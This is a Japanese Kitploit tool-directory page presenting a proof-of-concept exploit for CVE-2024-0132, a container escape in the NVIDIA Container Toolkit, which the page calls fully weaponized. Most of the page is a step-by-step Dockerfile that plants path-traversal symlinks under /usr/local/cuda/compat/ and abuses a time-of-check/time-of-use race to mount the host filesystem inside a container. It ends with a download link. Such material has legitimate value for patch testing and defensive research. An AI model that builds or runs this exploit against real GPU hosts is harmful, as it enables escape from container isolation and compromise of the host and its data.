Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-0132 — CVE-2024-0132 – 完全に武器化された NVIDIA Container Toolkit エクスプロイト | Kitploit
ツール/GitHubGitHub/r0binak/cve-2024-0132
特権昇格コンテナセキュリティ脆弱性分析エクスプロイトクラウドセキュリティコンテナエスケープ
GitHubr0binak/cve-2024-0132

CVE-2024-0132

CVE-2024-0132 – 完全に武器化された NVIDIA Container Toolkit エクスプロイト

リポジトリを見る
6131年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-0132

CVE-2024-0132 PoC

まずベースイメージを決めるところから始めましょう。システム内のライブラリの配置は、そのベースイメージに依存します。例えば、alpine では /usr/lib64/ になり、ubuntu では /usr/lib/x86_64-linux-gnu になります。ここではベースイメージとして ubuntu を使用します。

root@kitploit:~
FROM ubuntu

NVIDIA コンテナツールキットは、コンテナ内の /usr/local/cuda/compat/ にあるライブラリを確認し、それらをメインのライブラリディレクトリにマウントします。このイメージ (ubuntu) の場合、それは /usr/lib/x86_64-linux-gnu になります。

リンクもマウントされるため、イメージ内の任意のファイルやディレクトリを /usr/lib/x86_64-linux-gnu にマウントできます。この際、リンクがコンテナ内で解決されるかどうかがチェックされ、パストラバーサルに複数の ../ を使用することはできません。しかし、/usr/local/cuda/compat/ を介したコンテナ内マウントを2回使用することでこれを回避できます。これが TOCTOU です。

/usr/local/cuda/compat/ からのマウントの仕組みについて詳しくは以下を参照してください:

  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_container.c#L61
  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_mount.c#L768
root@kitploit:~
RUN mkdir -p /usr/local/cuda/compat/

2つのディレクトリを作成します:

  1. 元のディレクトリには、test という内容の通常ファイルが含まれます。
root@kitploit:~
RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
  1. 2つ目の同じ名前のディレクトリには、ファイルの代わりにパストラバーサルを伴うリンクが含まれます。
root@kitploit:~
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

libdxcore.so という名前は、フィルタを満たすために選ばれています。メジャーバージョン (1337) は、実際のドライバのバージョンとは異なる必要があります。

/usr/local/cuda/compat/ に2つのリンクを作成します:

  1. 最初のリンクは、元のディレクトリ /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ の内容を /pwn/libdxcore.so.1337/ に置き換えます。
root@kitploit:~
RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
  1. 2つ目のリンクは、/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs を /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs にマウントします。チェック時には通常のファイルですが、マウント時には /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs にあったリンクになるため、ホストのファイルシステムが /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/ にマウントされます。
root@kitploit:~
RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2
ツールをダウンロード